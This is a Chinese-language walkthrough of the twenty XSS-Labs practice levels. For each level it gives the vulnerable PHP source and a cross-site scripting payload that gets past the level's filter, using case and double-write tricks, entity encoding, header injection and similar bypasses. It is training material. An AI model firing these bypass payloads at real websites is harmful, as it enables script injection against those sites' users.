跨站脚本攻击的多种方式——以XSS-Labs为例二十关详解解题思路

一、XSS-Labs靶场环境搭建

  1.1、XSS介绍

跨站脚本攻击(XSS)_跨站脚本测试-CSDN博客icon-default.png?t=O83Ahttps://coffeemilk.blog.csdn.net/article/details/142266454

 1.2、XSS-Labs

        XSS-Labs是一个学习XSS攻击手法的靶场,方便我们系统性的学习掌握跨站脚本攻击的方式方法。

xss 跨站漏洞平台icon-default.png?t=O83Ahttps://github.com/do0dl3/xss-labsWindows版phpstudy下载 - 小皮面板(phpstudy)icon-default.png?t=O83Ahttps://old.xp.cn/download.html        要搭建XSS-Labs的靶场环境,只需要将XSS-Labs与phpStudy 2018版下载下来;首先安装好phpStudy 2018版内容,然后将XSS-Labs内容复制到phpStudy 2018安装好的www目录下即可,如下图所示:

二、XSS-Labs靶场通关

  2.1、level1

1、源码

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");window.location.href="level2.php?keyword=test"; 
}
</script>
<title>欢迎来到level1</title>
</head>
<body>
<h1 align=center>欢迎来到level1</h1>
<?php 
ini_set("display_errors", 0);
$str = $_GET["name"];
echo "<h2 align=center>欢迎用户".$str."</h2>";
?>
<center><img src=level1.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>

2、payload 

        通过查看源码可以明显的看到使用的参数【$str = $_GET["name"]】是没有任何操作直接就进行了拼接展示 ,我们使用最基础的script弹窗Paylaod测试

<script>alert(666)</script>

 2.2、level2

1、源码

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");window.location.href="level3.php?writing=wait"; 
}
</script>
<title>欢迎来到level2</title>
</head>
<body>
<h1 align=center>欢迎来到level2</h1>
<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level2.php method=GET>
<input name=keyword  value="'.$str.'">
<input type=submit name=submit value="搜索"/>
</form>
</center>';
?>
<center><img src=level2.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>

2、payload 

        查看源码可知将获取的值赋值在form表单的Input标签value内,可以直接将input标签闭合

"><script>alert(666)</script>

  2.3、level3

1、源码

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");window.location.href="level4.php?keyword=try harder!"; 
}
</script>
<title>欢迎来到level3</title>
</head>
<body>
<h1 align=center>欢迎来到level3</h1>
<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>"."<center>
<form action=level3.php method=GET>
<input name=keyword  value='".htmlspecialchars($str)."'>	
<input type=submit name=submit value=搜索 />
</form>
</center>";
?>
<center><img src=level3.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>

2、payload 

   查看源码可知Value使用了【htmlspecialchars()】函数进行处理(即:把预定义的特殊字符转换为 HTML 实体,从而使XSS攻击失效)该函数默认配置不会将单引号和双引号过滤,只有设置了flags规定如何编码单引号和双引号才会过滤; 这里的【htmlspecialchars()】函数使用默认设置(只对双引号进行处理,不对单引号处理)

'onclick='alert(666)

有效的 flags 常量
常量名称描述
ENT_COMPAT会转换双引号,不转换单引号。
ENT_QUOTES既转换双引号也转换单引号。
ENT_NOQUOTES单/双引号都不转换
执行转换
字符替换后
& (& 符号)&amp;
" (双引号)&quot;,除非设置了 ENT_NOQUOTES
' (单引号)设置了 ENT_QUOTES 后, &#039; (如果是 ENT_HTML401) ,或者 &apos; (如果是 ENT_XML1、 ENT_XHTML 或 ENT_HTML5)。
< (小于)&lt;
> (大于)&gt;

  2.4、level4

1、源码

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");window.location.href="level5.php?keyword=find a way out!"; 
}
</script>
<title>欢迎来到level4</title>
</head>
<body>
<h1 align=center>欢迎来到level4</h1>
<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str2=str_replace(">","",$str);
$str3=str_replace("<","",$str2);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level4.php method=GET>
<input name=keyword  value="'.$str3.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
<center><img src=level4.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str3)."</h3>";
?>
</body>
</html>

2、payload

        查看源码可知只对左右尖角符号进行了过滤,没有其他的操作,可以使用双引号对value进行闭合,然后在创建onclick事件

" onclick="alert(666)

" onclick=alert(666) 

  2.5、level5

 1、源码

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");window.location.href="level6.php?keyword=break it out!"; 
}
</script>
<title>欢迎来到level5</title>
</head>
<body>
<h1 align=center>欢迎来到level5</h1>
<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level5.php method=GET>
<input name=keyword  value="'.$str3.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
<center><img src=level5.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str3)."</h3>";
?>
</body>
</html>

2、payload

        查看源码可知这里对获取的内容中的【<script】、【on】两个内容添加了下划线替换,使其失去原有的作用;此时可以使用javascript: 伪协议来执行JS代码 

"> <a href=javascript:alert(666)>

"><iframe src="javascript:alert(666)" />

2.6、level6

1、源码

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");window.location.href="level7.php?keyword=move up!"; 
}
</script>
<title>欢迎来到level6</title>
</head>
<body>
<h1 align=center>欢迎来到level6</h1>
<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level6.php method=GET>
<input name=keyword  value="'.$str6.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
<center><img src=level6.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str6)."</h3>";
?>
</body>
</html>

2、payload

        查看源码后可知针对【<script】、【on】、【src】、【data】、【href】这5个内容添加了下划线,使其失去作用;此时我们可以采取大小写的方式绕过

"><SCRIPT>alert(666)</SCRIPT>
" ONclick="alert(666)"
"> <a Href=javascript:alert(666)>

  2.7、level7

1、源码

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");window.location.href="level8.php?keyword=nice try!"; 
}
</script>
<title>欢迎来到level7</title>
</head>
<body>
<h1 align=center>欢迎来到level7</h1>
<?php 
ini_set("display_errors", 0);
$str =strtolower( $_GET["keyword"]);
$str2=str_replace("script","",$str);
$str3=str_replace("on","",$str2);
$str4=str_replace("src","",$str3);
$str5=str_replace("data","",$str4);
$str6=str_replace("href","",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level7.php method=GET>
<input name=keyword  value="'.$str6.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
<center><img src=level7.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str6)."</h3>";
?>
</body>
</html>

2、payload

        查看源码可知,针对输入的内容全部转为了小写,然后对转为小写的内容进行【script】、【on】、【src】、【data】、【href】5个内容替换为空;针对替换内容我们可以采用双写方法

"><SSCRIPTCRIPT>alert(666)</SSCRIPTCRIPT>
" OONNclick="alert(666)"
"> <a HHREFref=javasSCRIPTcript:alert(666)>

 

  2.8、level8

1、源码

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");window.location.href="level9.php?keyword=not bad!"; 
}
</script>
<title>欢迎来到level8</title>
</head>
<body>
<h1 align=center>欢迎来到level8</h1>
<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','&quot',$str6);
echo '<center>
<form action=level8.php method=GET>
<input name=keyword  value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>
<?phpecho '<center><BR><a href="'.$str7.'">友情链接</a></center>';
?>
<center><img src=level8.jpg></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str7)."</h3>";
?>
</body>
</html>

2、payload

        查看源码可知,针对输入的内容全部转为了小写,然后对转为小写的内容进行【script】、【on】、【src】、【data】、【href】5个内容添加下划线,且将双引号直接转为&quot;此时我们可以对【"> <a HHREFref=javasSCRIPTcript:alert(666)>】内容转为HTML实体绕过:

&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#54;&#54;&#54;&#41;

 

在线Ascii编码解码工具,ASCII与中文互转 - 图灵工具 在线工具系统icon-default.png?t=O83Ahttps://toolin.cn/ascii文本转ASCIIicon-default.png?t=O83Ahttps://tools.xiaoshanseo.com/Tools/HTML_ASCII/在线Ascii编码解码工具,ASCII与中文互转 - JSON.CMicon-default.png?t=O83Ahttps://www.json.cm/ascii/HTML字符实体转换,网页字符实体编码icon-default.png?t=O83Ahttps://www.qqxiuzi.cn/bianma/zifushiti.php

  2.9、level9

1、源码

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");window.location.href="level10.php?keyword=well done!"; 
}
</script>
<title>欢迎来到level9</title>
</head>
<body>
<h1 align=center>欢迎来到level9</h1>
<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','&quot',$str6);
echo '<center>
<form action=level9.php method=GET>
<input name=keyword  value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>
<?php
if(false===strpos($str7,'http://'))
{echo '<center><BR><a href="您的链接不合法?有没有!">友情链接</a></center>';}
else
{echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
}
?>
<center><img src=level9.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str7)."</h3>";
?>
</body>
</html>

2、payload

        查看源码可知,针对输入的内容全部转为了小写,然后对转为小写的内容进行【script】、【on】、【src】、【data】、【href】5个内容添加下划线,且将双引号直接转为&quot;同时在value后使用了【htmlspecialchars()】函数处理【针对这个内容可以对内容转为HTML实体编码】;最后对输入的内容进行了判断是否包含【http://】连接;由此可知,我们输入的内容需要包含http://内容【针对包含内容我们可以配合//注释符包含且不让http://生效】:

&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#54;&#54;&#54;&#41;//http://www.baidu.com

  2.10、level10

1、源码

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");window.location.href="level11.php?keyword=good job!"; 
}
</script>
<title>欢迎来到level10</title>
</head>
<body>
<h1 align=center>欢迎来到level10</h1>
<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str11 = $_GET["t_sort"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.$str33.'" type="hidden">
</form>
</center>';
?>
<center><img src=level10.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>

 2、payload

        我们在界面上并没有发现右什么可以输入的操作的地方,然后我们查看网页源码,发现右隐藏的3个输入框,分别给这3个输入框赋值查看,发现只有t_sort被赋值了,接下来就从t_sort入手:

        查看源码可知,输入的内容【t_sort】进行了隐藏,且对输入的内容进行了右尖角左尖角符号替换为空;我们首先要将隐藏的【t_sort】输入框显示,然后在注入即可:

&t_sort=666" type=text onclick="alert(666)" 

  2.11、level11

1、源码

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");window.location.href="level12.php?keyword=good job!"; 
}
</script>
<title>欢迎来到level11</title>
</head>
<body>
<h1 align=center>欢迎来到level11</h1>
<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_REFERER'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_ref"  value="'.$str33.'" type="hidden">
</form>
</center>';
?>
<center><img src=level11.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>

2、payload

        本关我们在界面上也与上一关一样没有发现可以输入的地方,按下键盘的F12查看源码,发现有4个隐藏的输入框,特别是最后一个输入框的value值很特别(是上一个关卡的URL内容),我们分别对这四个输入框进行赋值查看,发现只有t_sort被赋值了,我们采用上一关的payload测试,发现payload并没有被转为对应的属性内容,被实体化了,无法使用;现在我们就从最后的输入框t_ref入手:

针对t_ref引用上一个页面的URL内容,我们可以使用BurpSuite抓包修改注入:

" type=text onclick="alert(666)"

  2.12、level12

1、源码

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");window.location.href="level13.php?keyword=good job!"; 
}
</script>
<title>欢迎来到level12</title>
</head>
<body>
<h1 align=center>欢迎来到level12</h1>
<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_USER_AGENT'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_ua"  value="'.$str33.'" type="hidden">
</form>
</center>';
?>
<center><img src=level12.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>

 2、payload

        这一关也是界面没有任何输入的内容,只有URL可以作为参数的输入点;检查网页后我们发现有【t_link】、【t_history】、【t_sort】、【t_ua】是隐藏的输入框(其中t_ua的value显示的是User-Agent内容),我们可以在URL分别给这四个内容赋值查看,发现只有t_sort可以显示赋值的内容,但是无法正常让我们注入的属性等正常工作,我们输入什么就显示什么,这就表示t_sort是无法利用的;

我们可以从t_ua入手,通过抓包修改User-Agent的方式来进行注入:

" type=text onclick="alert(666)"
" type=text onmouseover="alert(666)"

  2.13、level13

1、源码

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");window.location.href="level14.php"; 
}
</script>
<title>欢迎来到level13</title>
</head>
<body>
<h1 align=center>欢迎来到level13</h1>
<?php 
setcookie("user", "call me maybe?", time()+3600);
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_COOKIE["user"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_cook"  value="'.$str33.'" type="hidden">
</form>
</center>';
?>
<center><img src=level13.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>

2、payload

         这一关也是界面没有任何输入的内容,只有URL可以作为参数的输入点;检查网页后我们发现有【t_link】、【t_history】、【t_sort】、【t_cook】是隐藏的输入框,我们可以在URL分别给这四个内容赋值查看,发现只有t_sort可以显示赋值的内容,但是无法正常让我们注入的属性等正常工作,我们输入什么就显示什么,这就表示t_sort是无法利用的;

此时我们需要使用抓包工具BurpSuite进行抓包,发现最后一个参数t_cook使用的是cookie内容,直接修改抓包后的cookie内容即可:

" type=text onclick="alert(666)"

  2.14、level14

 1、源码

<html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<title>欢迎来到level14</title>
</head>
<body>
<h1 align=center>欢迎来到level14</h1>
<center><iframe name="leftframe" marginwidth=10 marginheight=10 src="http://www.exifviewer.org/" frameborder=no width="80%" scrolling="no" height=80%></iframe></center><center>这关成功后不会自动跳转。成功者<a href=/xss/level15.php?src=1.gif>点我进level15</a></center>
</body>
</html>

2、payload

        该关卡的关键点是iframe标签中关于文件的调用来实现注入,但由于调用地址(http://www.exifviewer.org/)失效,导致无法测试,直接跳过即可。

该关卡涉及到Exif图片格式的隐藏信息,可以选中图片,点击鼠标右键属性查看图片信息

  2.15、level15

1、源码

<html ng-app>
<head><meta charset="utf-8"><script src="angular.min.js"></script>
<script>
window.alert = function()  
{     
confirm("完成的不错!");window.location.href="level16.php?keyword=test"; 
}
</script>
<title>欢迎来到level15</title>
</head>
<h1 align=center>欢迎来到第15关,自己想个办法走出去吧!</h1>
<p align=center><img src=level15.png></p>
<?php 
ini_set("display_errors", 0);
$str = $_GET["src"];
echo '<body><span class="ng-include:'.htmlspecialchars($str).'"></span></body>';
?>

2、payload

Angular ng-include 指令 | AngularJS 教程在本教程中,您将学习如何使用Angular ng-include 指令icon-default.png?t=O83Ahttps://www.w3ccoo.com/angular/ng_ng-include.html简单的说就是ng-include可以包含文件调用;我们这里直接使用【level1.php】的payload来进入操作:

http://192.168.3.176/xss-labs/level15.php?src='level1.php?name=<img src=666 onerror=alert(666)>'

  2.16、level16

 1、源码

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");window.location.href="level17.php?arg01=a&arg02=b"; 
}
</script>
<title>欢迎来到level16</title>
</head>
<body>
<h1 align=center>欢迎来到level16</h1>
<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","&nbsp;",$str);
$str3=str_replace(" ","&nbsp;",$str2);
$str4=str_replace("/","&nbsp;",$str3);
$str5=str_replace("	","&nbsp;",$str4);
echo "<center>".$str5."</center>";
?>
<center><img src=level16.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str5)."</h3>";
?>
</body>
</html>

 2、payload

        查看源码将输入的内容中包含【script】、【空格】、【/】的内容都替换为【&nbsp】,我们可以考虑使用:

1、%0A——表示换行【光标移动到下一行】;

2、%0D——表示将光标移动到该行的开头;

<img%0Asrc=666%0Aonerror=alert(666)>
<img%0Dsrc=666%0Donerror=alert(666)>

 

  2.17、level17

1、源码

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!"); 
}
</script>
<title>欢迎来到level17</title>
</head>
<body>
<h1 align=center>欢迎来到level17</h1>
<?php
ini_set("display_errors", 0);
echo "<embed src=xsf01.swf?".htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"])." width=100% heigth=100%>";
?>
<h2 align=center>成功后,<a href=level18.php?arg01=a&arg02=b>点我进入下一关</a></h2>
</body>
</html>

2、payload

        查看页面可知我们的URL参数内容显示在了embed标签的src属性里面,可以使用onmouseover属性来注入:

onmouseover=alert(666)

  2.18、level18

1、源码

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");window.location.href="level19.php?arg01=a&arg02=b"; 
}
</script>
<title>欢迎来到level18</title>
</head>
<body>
<h1 align=center>欢迎来到level18</h1>
<?php
ini_set("display_errors", 0);
echo "<embed src=xsf02.swf?".htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"])." width=100% heigth=100%>";
?>
</body>
</html>

2、payload

  查看页面可知我们的URL参数内容显示在了embed标签的src属性里面,可以使用onmouseover属性来注入:

 " onmouseover=alert(666)

2.19、level19

1、源码

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");window.location.href="level20.php?arg01=a&arg02=b"; 
}
</script>
<title>欢迎来到level19</title>
</head>
<body>
<h1 align=center>欢迎来到level19</h1>
<?php
ini_set("display_errors", 0);
echo '<embed src="xsf03.swf?'.htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"]).'" width=100% heigth=100%>';
?>
</body>
</html>

        该关卡涉及到的是flash的XSS,目前由于flash已经不被浏览器支持了;了解一下就行,直接过:

2、payload:

arg01=version&arg02=<a href="javascript:alert(1)">123</a>

2.20、level20

1、源码

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");window.location.href="level21.php?arg01=a&arg02=b"; 
}
</script>
<title>欢迎来到level20</title>
</head>
<body>
<h1 align=center>欢迎来到level20</h1>
<?php
ini_set("display_errors", 0);
echo '<embed src="xsf04.swf?'.htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"]).'" width=100% heigth=100%>';
?>
</body>
</html>

2、payload

arg01=id&arg02=\%22))}catch(e){}if(!self.a)self.a=!alert(1)

三、其他关于XSS-Labs靶场过关攻略

xss-labs靶场1-20关详解 - L00kback - 博客园icon-default.png?t=O83Ahttps://www.cnblogs.com/L00kback/p/17552275.htmlxss-labs 靶场详细攻略(附常用payload) - FreeBuf网络安全行业门户icon-default.png?t=O83Ahttps://www.freebuf.com/articles/web/338123.htmlWeb安全中的XSS攻击详细教学,Xss-Labs靶场通关全教程(建议收藏)(一)icon-default.png?t=O83Ahttps://mp.weixin.qq.com/s/RJcOZuscU07BEPgK89LSrQ

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/493779.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【win10+RAGFlow+Ollama】搭建本地大模型助手(教程+源码)

一、RAGFlow简介 RAGFlow是一个基于对文档深入理解的开源RAG&#xff08;Retrieval-augmented Generation&#xff0c;检索增强生成&#xff09;引擎。 主要作用&#xff1a; 让用户创建自有知识库&#xff0c;根据设定的参数对知识库中的文件进行切块处理&#xff0c;用户向大…

54、库卡机器人轴的软限位设置

步骤1&#xff1a;将用户组改为“专家”。 步骤2&#xff1a;点击“投入运行”----“售后服务”-----“软件限位开关” 步骤3&#xff1a;就可以针对每个轴修改对应的角度值&#xff0c;然后点击“保存”。

0基础学前端-----CSS DAY9

0基础学前端-----CSS DAY9 视频参考&#xff1a;B站Pink老师 今天是CSS学习的第九天&#xff0c;今天开始的笔记对应Pink老师课程中的CSS第四天的内容。 本节重点&#xff1a;常见网页布局以及清除浮动 2. 常见网页布局 2.1 常见网页布局 有以下三种&#xff1a; 参考代码…

【自动化】Python SeleniumUtil 工具 开启开发者模式 自动安装油猴用户脚本等

【自动化】Python SeleniumUtil 工具 【Python】使用Selenium 操作浏览器 自动化测试 记录-CSDN博客文章浏览阅读58次。文章浏览阅读42次。【附件】Selenium chromedriver 驱动及浏览器下载。【附件】Selenium chromedriver 驱动及浏览器下载-CSDN博客。3.安装Chrome浏览器驱动…

UE5 移植Editor或Developer模块到Runtime

要将源码中的非运行时模块移植到Runtime下使用&#xff0c;个人理解就是一个解决编译报错的过程&#xff0c;先将目标模块复制到项目的source目录内&#xff0c;然后修改模块文件夹名称&#xff0c;修改模块.build.cs与文件夹名称保持一致 修改build.cs内的类名 &#xff0c;每…

全志H618 Android12修改doucmentsui选中图片资源详情信息

背景: 由于当前的文件管理器在我们的产品定义当中,某些界面有改动的需求,所以需要在Android12 rom中进行定制以符合当前产品定义。 需求: 进入file文件管理器后,点击选中图片资源,选中功能按钮,获取信息,不显示“调试信息(仅开发者)”;现状是,获取信息,显示“调试信…

【WPS安装】WPS编译错误总结:WPS编译失败+仅编译成功ungrib等

WPS编译错误总结&#xff1a;WPS编译失败仅编译成功ungrib等 WPS编译过程问题1&#xff1a;WPS编译失败错误1&#xff1a;gfortran: error: unrecognized command-line option ‘-convert’; did you mean ‘-fconvert’?解决方案 问题2&#xff1a;WPS编译三个exe文件只出现u…

Spring(二)---基于注解的方式实现Bean管理和注入属性

目录 引入 什么是注解 Spring针对Bean管理中创建对象提供的注解 用注解的方式创建对象 ①&#xff1a;编写接口和实现类 ②&#xff1a;在需要管理的类上添加Component注解&#xff08;上边四个都可以&#xff09; ③&#xff1a;编写配置文件&#xff0c;重点是开启注解…

集成自然语言理解服务,让应用 “听得懂人话”

如今&#xff0c;应用程序智能化已成趋势&#xff0c;开发者想要实现智能化&#xff0c;那么首先需要赋予应用理解自然语言的能力&#xff0c;使其能够准确地听懂人话&#xff0c;进而响应用户需求&#xff0c;并提供一系列智能化服务。比如用户语音控制应用程序帮忙订票&#…

Redis常见阻塞原因总结

O(n) 命令 Redis 中的大部分命令都是 O(1)时间复杂度&#xff0c;但也有少部分 O(n) 时间复杂度的命令&#xff0c;例如&#xff1a; KEYS *&#xff1a;会返回所有符合规则的 key。HGETALL&#xff1a;会返回一个 Hash 中所有的键值对。LRANGE&#xff1a;会返回 List 中指定…

golang自定义MarshalJSON、UnmarshalJSON 原理和技巧

问题出现的原因&#xff1a;在前后端分离的项目中&#xff0c;经常出现的问题是时间戳格式的问题。 后端的日期格式兼容性强&#xff0c;比较完善。前端由于各种原因&#xff0c;日期格式不完善。 就会产生矛盾。 ms int64比较通用&#xff0c;但是unix时间没有可读性&#xff…

BGP的六种状态分别是什么?

此文章主要简单介绍下BGP的六种状态 1.Idle BGP会话的初始状态&#xff0c;路由器在此状态下不与任何BGP邻居通信&#xff0c;通常标识会话还没有开始或由于错误而未能启动&#xff0c;一般来说&#xff0c;缺乏去往BGP对等体的路由是导致BGP路由器其状态一直处于idle状态的常…

推挽输出和开漏输出

推挽输出&#xff1a;能真正的输出高低电平 开漏输出&#xff1a;无法正真的输出高电平&#xff08;会分压&#xff09;&#xff0c;高电平时没有驱动能力&#xff0c;需要借助外部上拉电阻完成对外驱动

Linux之磁盘管理相关命令

1、du 作用&#xff1a;查看文件和目录占用的磁盘空间情况 语法&#xff1a; # 显示目录下每个子目录的磁盘使用情况 du [选项] 目录/文件 # 例&#xff1a;查/root下一层的文件和目录大小 du --max-depth1 -ah /root选项&#xff1a; -h&#xff1a;以人们较易阅读的GBytes,…

任务三数据库加固

1 修改mysql配置文件my.cnf&#xff0c;通常在/etc/my.cnf或者/etc/mysql/my.cnf 把mysql用户添加进去,分配最小权限&#xff0c;如果没有useradd添加一个 2 mysql -u root -p 登录mysql&#xff0c;输入 drop database test; 3 登录mysql&#xff0c;输入 update mysql.us…

uniapp开发app,cover-view不能隐藏,使用v-if,v-show都不行的解决办法

先上解决方案 在最后多写一个v-else <cover-view class"point-info" v-if"selectedPoint"><cover-view class"info-content"><cover-view class"info-item">。。。</cover-view><cover-view class"i…

3D视觉[一]3D计算机视觉

3D视觉[一]3D计算机视觉 3D计算机视觉概述 像机标定 文章目录 3D视觉[一]3D计算机视觉前言一、人类视觉二、计算机视觉2.1 计算机视觉的研究目的2.2 计算机视觉的研究任务2.3 计算机视觉的研究方法2.4 视觉计算理论2.5 马尔框架中计算机视觉表达的四个层次2.5.1 图像&#xff…

智慧商城:购物车模块基本静态结构 + 构建vuex cart模块,获取数据存储(异步actions)

